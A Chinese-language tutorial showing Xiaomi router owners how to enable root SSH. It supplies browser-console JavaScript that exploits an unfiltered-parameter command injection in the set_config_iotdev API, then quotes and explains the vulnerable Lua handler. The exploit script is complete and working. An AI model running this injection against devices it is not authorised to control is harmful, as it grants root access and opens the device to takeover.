开启SSH
- 登录小米路由器后台,注意自己后台的IP地址,一般是192.168.31.1:
- 注意链接上stok:
-
按F12,选择Console:
-
输入以下代码回车:
function getSTOK() {
let match = location.href.match(/;stok=(.*?)\//);
if (!match) {
return null;
}
return match[1];
}
function execute(stok, command) {
command = encodeURIComponent(command);
let path = `/cgi-bin/luci/;stok=${stok}/api/misystem/set_config_iotdev?bssid=SteelyWing&user_id=SteelyWing&ssid=-h%0A${command}%0A`;
console.log(path);
return fetch(new Request(location.origin + path));
}
function enableSSH() {
stok = getSTOK();
if (!stok) {
console.error('stok not found in URL');
return;
}
console.log(`stok = "${stok}"`);
password = prompt('Input new SSH password');
if (!password) {
console.error('You must input password');
return;
}
execute(stok,
`
nvram set ssh_en=1
nvram commit
sed -i 's/channel=.*/channel=\\"debug\\"/g' /etc/init.d/dropbear
/etc/init.d/dropbear start
`
)
.then((response) => response.text())
.then((text) => console.log(text));
console.log('New SSH password: ' + password);
execute(stok, `echo -e "${password}\\n${password}" | passwd root`)
.then((response) => response.text())
.then((text) => console.log(text));
}
enableSSH();
- 设置ssh登录密码:
- 未报错即成功注入开启ssh权限了。登录ssh验证:(注意自己路由器后台IP)
- 跳出fingerprint 输入yes即可。成功登录:
分析可注入原因:
api/misystem/set_config_iotdev调用的函数如下:
function setConfigIotDev()
local XQFunction = require("xiaoqiang.common.XQFunction")
local LuciUtil = require("luci.util")
local result = {
["code"] = 0
}
local ssid = LuciHttp.formvalue("ssid")----参数直接代入,未过滤
local bssid = LuciHttp.formvalue("bssid")----参数直接代入,未过滤
local uid = LuciHttp.formvalue("user_id")----参数直接代入,未过滤
XQLog.log(debug_level, "ssid = "..ssid)
XQLog.log(debug_level, "bssid = "..bssid)
XQLog.log(debug_level, "uid = "..uid)
if XQFunction.isStrNil(ssid)
or XQFunction.isStrNil(bssid)
or XQFunction.isStrNil(uid) then
result.code = 1523
end
if result.code ~= 0 then
result["msg"] = XQErrorUtil.getErrorMessage(result.code)
else
XQFunction.forkExec("connect -s "..ssid.." -b "..bssid.. " -u "..uid)----参数直接代入,未过滤
end
LuciHttp.write_json(result)
end
参数未过滤
所以可以在网址上提交注入开启ssh权限:具体参考上面开启SSH第4步中代码。
这样的方法目前适合ax1800及ax3600某些版本。